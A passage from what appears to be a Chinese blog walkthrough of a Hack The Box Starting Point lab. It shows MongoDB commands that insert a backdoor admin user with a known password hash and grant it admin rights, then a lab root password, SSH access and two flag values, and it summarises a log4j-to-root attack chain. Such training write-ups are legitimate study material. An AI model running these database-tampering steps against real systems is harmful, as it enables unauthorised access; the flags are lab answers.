图片[156]-Hack the box-Starting point 通关全解-Drton1博客

我们生成一个123456的密码加密值:

然后利用insert函数插入进去一个用户

$6$XKy9NL3Ks1cKFeTa$Sv9rLB92p8DU0a0GcmkHacgeRuHzYfIHp.iYCAkEBPZx52NaJZ.nanj.WVzPlzQiDdd7I7cQ9vavVq4Bx3IPd/

db.admin.insert({ "email" : "pilgrim@localhost.local", "last_site_name" : "default", "name" : "Drton1", "time_created" : NumberLong(100019800), "x_shadow" : "$6$XKy9NL3Ks1cKFeTa$Sv9rLB92p8DU0a0GcmkHacgeRuHzYfIHp.iYCAkEBPZx52NaJZ.nanj.WVzPlzQiDdd7I7cQ9vavVq4Bx3IPd/" })

再次查询找到我们刚才添加的用户

图片[157]-Hack the box-Starting point 通关全解-Drton1博客

记下这个用户id:635240d96e1fa1e8bc023647

再查询该网站的用户信息:

db.site.find().forEach(printjson) 

查这个是为了拿到网站的id 让后让我们的用户id 与网站id绑定 就可以实现我们自己插入的用户登录网站

图片[158]-Hack the box-Starting point 通关全解-Drton1博客

将我们插入的用户绑定到这个网站上去,其中的admin_id就是自己添加的用户的id,site_id就是上面获取的id

让我们的权限变成这个网站的管理员:

db.privilege.insert({ "admin_id" : "635240d96e1fa1e8bc023647", "permissions" : [ ], "role" : "admin", "site_id" : "61ce269d46e0fb0012d47ec4" })
图片[159]-Hack the box-Starting point 通关全解-Drton1博客

添加成功 现在 用户名Drton1 密码123456 就是这个网站的管理员了 我们去登录:

图片[160]-Hack the box-Starting point 通关全解-Drton1博客

成功登录后台,在里面翻来翻去 找到root密码:

图片[161]-Hack the box-Starting point 通关全解-Drton1博客
密码:NotACrackablePassword4U2022
上面信息收集他是开着22端口的
我们直接ssh过去:
图片[162]-Hack the box-Starting point 通关全解-Drton1博客

拿到root权限

图片[163]-Hack the box-Starting point 通关全解-Drton1博客

拿到两个flag。

6ced1a6a89e666c0620cdb10262ba127

e50bc93c75b634e4b272d2f771c33681

通关!

总结一下攻击链:log4j注入攻击 —>反弹拿shell—>数据库插入网站管理员—>登录网站找到root密码—>ssh连接获得root权限

图片[164]-Hack the box-Starting point 通关全解-Drton1博客

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论